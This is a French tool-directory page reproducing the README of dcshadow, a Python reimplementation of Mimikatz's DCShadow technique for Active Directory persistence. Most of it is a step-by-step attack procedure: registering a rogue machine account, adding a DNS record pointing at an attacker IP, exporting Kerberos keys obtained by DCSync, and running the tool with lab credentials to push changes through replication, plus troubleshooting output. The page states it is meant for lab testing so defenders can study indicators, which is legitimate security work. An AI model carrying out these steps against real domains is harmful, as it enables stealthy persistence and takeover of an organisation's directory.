Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
dcshadow — Python alternative to Mimikatz lsadump::dcshadow | Kitploit
Outils/GitHubGitHub/shutdownrepo/dcshadow
Defensive ToolsPersistence MechanismsPost-ExploitationPenetration TestingRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python alternative to Mimikatz lsadump::dcshadow

Voir le dépôt
16217il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[!WARNING] NE PAS EXÉCUTER EN PRODUCTION. Ceci est destiné aux tests en laboratoire, pour que les blue teams travaillent sur l'identification des IoC, des types d'événements et des comportements. De plus, cet outil est fourni tel quel. Aucun support n'est prévu en dehors d'une revue standard des pull requests que vous pourriez créer. Ne l'exécutez pas depuis un hôte Windows. Faites-le depuis Linux ou depuis une VM (pour éviter les conflits de services RPC).

Théorie

Ce projet se veut une alternative pure-python à la technique dcshadow de Mimikatz. Cela inclut un Impacket personnalisé avec des crypto, gssapi et drsuapi modifiés, entre autres.

Le DCShadow est une technique de persistance puissante qui peut être considérée comme un transport pour d'autres techniques telles que l'historique SID, le RBCD KRBTGT, l'abus d'ACE, et plus encore.

Cet outil pourrait servir de fondation à un framework de persistance AD plus polyvalent, qui pourrait être utilisé par notre communauté pour élever notre maturité globale sur le sujet.

Cet outil a été testé sur GOAD.

Mise en pratique

0. Installation

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. Créer un compte machine

Cette machine sera enregistrée comme contrôleur de domaine pendant la durée de la réplication, puis désenregistrée à la fin.

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py est modifié pour définir msDS-SupportedEncryptionTypes à 0x1f. Les derniers tests semblent déclencher une violation de contrainte.

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

Pour l'instant, utilisez le script addcomputer.py standard d'Impacket et modifiez msDS-SupportedEncryptionTypes manuellement via ADSI Edit.

2. Entrée DNS pour la machine

Ceci est nécessaire pour que le DC légitime sache comment joindre le DC malveillant et éviter les erreurs ERROR_DS_DNS_LOOKUP_FAILURE.

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] Si la commande ne fonctionne pas pour une raison quelconque, ajoutez l'entrée DNS manuellement via les outils DNS du contrôleur de domaine.

3. Identifiants du DC malveillant

Lorsque nous avons commencé à développer cet outil, nous utilisions des identifiants codés en dur dans un fichier .env, chargés dans la fonction gss_kerberos_ap_req du fichier dcshadow/utils/server/RpcServer.py.

Cela doit clairement être amélioré. Le mot de passe du compte du DC malveillant pourrait être passé en argument CLI et les clés Kerberos calculées. Krbrelayx le fait déjà, dacledit.py aussi, il suffit de copier-coller.

Pour l'instant, vous devez exporter les clés Kerberos comme variables d'environnement.

Cela devrait ressembler à ceci :

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

Ces clés peuvent être récupérées via une attaque DCSync.

4. DCShadow (fichier JSON)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] Dans ce cas, un fichier repl.json est utilisé pour spécifier les objets et attributs cibles. Alternativement, l'outil prend en charge les options en ligne (par exemple, --object, --attribute et --value).

Erreurs courantes

DRSReplicaAdd : délai expiré

Si la DRSReplicaAdd expire, il s'agit probablement d'un problème de réseau/pare-feu sur la machine exécutant dcshadow.py (le DC malveillant), qui ne permet probablement pas le trafic entrant sur 135/TCP (epmapper) et 1337/TCP (ou port dynamique si implémenté à l'avenir, pour drsuapi).

DRSReplicaAdd : rpc_s_access_denied

Vous devrez exécuter Wireshark sur le contrôleur de domaine légitime, mais la cause racine la plus probable est que vous essayez d'exécuter ceci sur une machine Windows, ce qui signifie que lorsque le DC légitime demande à l'epmapper de votre DC malveillant le port du point de terminaison drsuapi, la réponse est vide car c'est l'epmapper de votre propre machine Windows qui répond et non le nôtre.

Crédits

Ce projet n'aurait pas été possible sans l'aide immense d'Alessandro Iandoli "MrAle98", un chercheur talentueux rencontré pendant le développement. Merci Alessandro !

Les crédits reviennent à Benjamin Delpy et Vincent Letoux pour la découverte initiale, les présentations et l'implémentation dans Mimikatz.

Je tiens également à remercier Volker, qui a participé au développement initial.

Merci à Dramelac pour l'aide à passer d'un PoC à un projet modulaire, une base pour un futur framework, si jamais il y arrive.

Télécharger l’outil